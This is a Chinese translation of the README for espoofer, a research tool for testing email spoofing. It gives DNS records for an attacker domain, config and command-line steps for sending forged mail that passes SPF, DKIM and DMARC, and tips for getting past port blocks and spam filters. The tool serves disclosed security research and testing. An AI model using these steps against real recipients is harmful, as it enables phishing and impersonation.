espoofer 是一个开源测试工具,用于绕过电子邮件系统中的 SPF、DKIM 和 DMARC 认证。它帮助邮件服务器管理员和渗透测试人员检查目标邮件服务器和客户端是否容易受到电子邮件欺骗攻击,或者是否可能被滥用来发送欺骗性电子邮件。
图 1. 我们对 Gmail 的欺骗攻击案例(已修复,演示视频)
电子邮件欺骗对个人和组织都是巨大威胁(雅虎数据泄露、John Podesta 事件)。为了解决这个问题,现代电子邮件服务和网站采用了认证协议——SPF、DKIM 和 DMARC——来防止电子邮件伪造。
我们最新的研究表明,这些协议的实现存在许多安全问题,可以被利用来绕过 SPF/DKIM/DMARC 保护。图 1 展示了我们绕过 Gmail 的 DKIM 和 DMARC 的欺骗攻击之一。更多技术细节,请参阅我们的 Black Hat USA 2020 演讲(含演讲视频)或 USENIX Security 2020 论文。
在这个仓库中,我们总结了我们发现的所有测试用例,并将它们集成到这个工具中,以帮助管理员和安全从业者快速识别并定位这类安全问题。
LaTeX 版本:
@inproceedings{chen-email,
author = {Jianjun Chen and Vern Paxson and Jian Jiang},
title = {Composition Kills: A Case Study of Email Sender Authentication},
booktitle = {29th {USENIX} Security Symposium ({USENIX} Security 20)},
year = {2020},
isbn = {978-1-939133-17-5},
pages = {2183--2199},
url = {https://www.usenix.org/conference/usenixsecurity20/presentation/chen-jianjun},
publisher = {{USENIX} Association},
month = aug,
}
Word 版本:
Jianjun Chen, Vern Paxson, and Jian Jiang. "Composition kills: A case study of email sender authentication." In 29th USENIX Security Symposium (USENIX Security 20), pp. 2183-2199. 2020.
git clone https://github.com/chenjj/espoofer
sudo pip3 install -r requirements.txt
Python 版本:Python 3 (>=3.7)。
espoofer 有三种工作模式:server('s',默认模式)、client('c')和 manual('m')。在 server 模式下,espoofer 像一个邮件服务器一样工作,测试接收服务中的验证。在 client 模式下,espoofer 像一个邮件客户端一样工作,测试发送服务中的验证。Manual 模式用于调试目的。

图 2. 三种攻击者类型及其工作模式
要以 server 模式运行 espoofer,你需要具备:1)一个 IP 地址(1.2.3.4),其出站端口 25 未被 ISP 屏蔽;2)一个域名(attack.com)。
attack.com 设置 DKIM 公钥selector._domainkey.attacker.com TXT "v=DKIM1; k=rsa; t=y; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNjwdrmp/gcbKLaGQfRZk+LJ6XOWuQXkAOa/lI1En4t4sLuWiKiL6hACqMrsKQ8XfgqN76mmx4CHWn2VqVewFh7QTvshGLywWwrAJZdQ4KTlfR/2EwAlrItndijOfr2tpZRgP0nTY6saktkhQdwrk3U0SZmG7U8L9IPj7ZwPKGvQIDAQAB"
attack.com 设置 SPF 记录attack.com TXT "v=spf1 ip4:1.2.3.4 +all"
config ={
"attacker_site": b"attack.com", # attack.com
"legitimate_site_address": b"[email protected]", # legitimate.com
"victim_address": b"[email protected]", # [email protected]
"case_id": b"server_a1", # server_a1
}
你可以使用 -l 选项列出所有测试用例的 case_id:
python3 espoofer.py -l
python3 espoofer.py
你可以在 config.py 中更改 case_id,或者使用命令行中的 -id 选项来测试不同的案例:
python3 espoofer.py -id server_a1
要以 client 模式运行 espoofer,你需要在目标电子邮件服务上拥有一个账户。这种攻击利用了某些电子邮件服务未能对来自本地 MUA 的邮件进行充分验证的缺陷。例如,[email protected] 试图冒充 [email protected]。
config ={
"legitimate_site_address": b"[email protected]",
"victim_address": b"[email protected]",
"case_id": b"client_a1",
"client_mode": {
"sending_server": ("smtp.gmail.com", 587), # SMTP 发送服务器 IP 和端口
"username": b"[email protected]", # 你的账户用户名和密码
"password": b"your_passward_here",
},
}
你可以使用 -l 选项列出所有测试用例的 case_id:
python3 espoofer.py -l
注意:
sending_server应该是 SMTP 发送服务器地址,而不是接收服务器地址。
python3 espoofer.py -m c
你可以在 config.py 中更改 case_id 并再次运行,或者使用命令行中的 -id 选项:
python3 espoofer.py -m c -id client_a1
以下是 manual 模式的示例:
python3 espoofer.py -m m -helo attack.com -mfrom <[email protected]> -rcptto <[email protected]> -data raw_msg_here -ip 127.0.0.1 -port 25
欢迎提交 pull request 在此处报告你的漏洞。
你可以在原始邮件头部的 Authentication-results 头部中检查。如果该头部显示 dmarc=pass,则表示该邮件已通过 DMARC 认证。你可以查看一些演示视频此处。
如果你发送邮件失败,可能有几个原因:1)你的 ISP 阻止出站到端口 25 的邮件以防止垃圾邮件。在这种情况下,你需要向 ISP 请求权限;2)IP 地址在目标邮件服务的垃圾邮件列表中。在许多情况下,你可以通过 https://www.spamhaus.org/lookup/ 解决该问题;3)某些邮件服务会检查发送 IP 是否有 PTR 记录,你可能还需要设置 PTR 记录以绕过此检查;4)邮件无法通过目标邮件服务的格式验证,你可能想尝试不同的测试案例。
目前,espoofer 专注于绕过 SPF/DKIM/DMARC 认证,并不针对垃圾邮件过滤器绕过。但你可以尝试使用信誉良好的发送 IP 地址、域名和良性的邮件内容来绕过垃圾邮件过滤器。
根据我们以往的经验,某些邮件服务会静默过滤可疑邮件。
你需要设置自己的权威 DNS 服务器,而不是使用第三方 DNS 托管服务,因为某些 DNS 托管服务对设置特殊字符有限制。参见问题。
欢迎添加更多测试用例。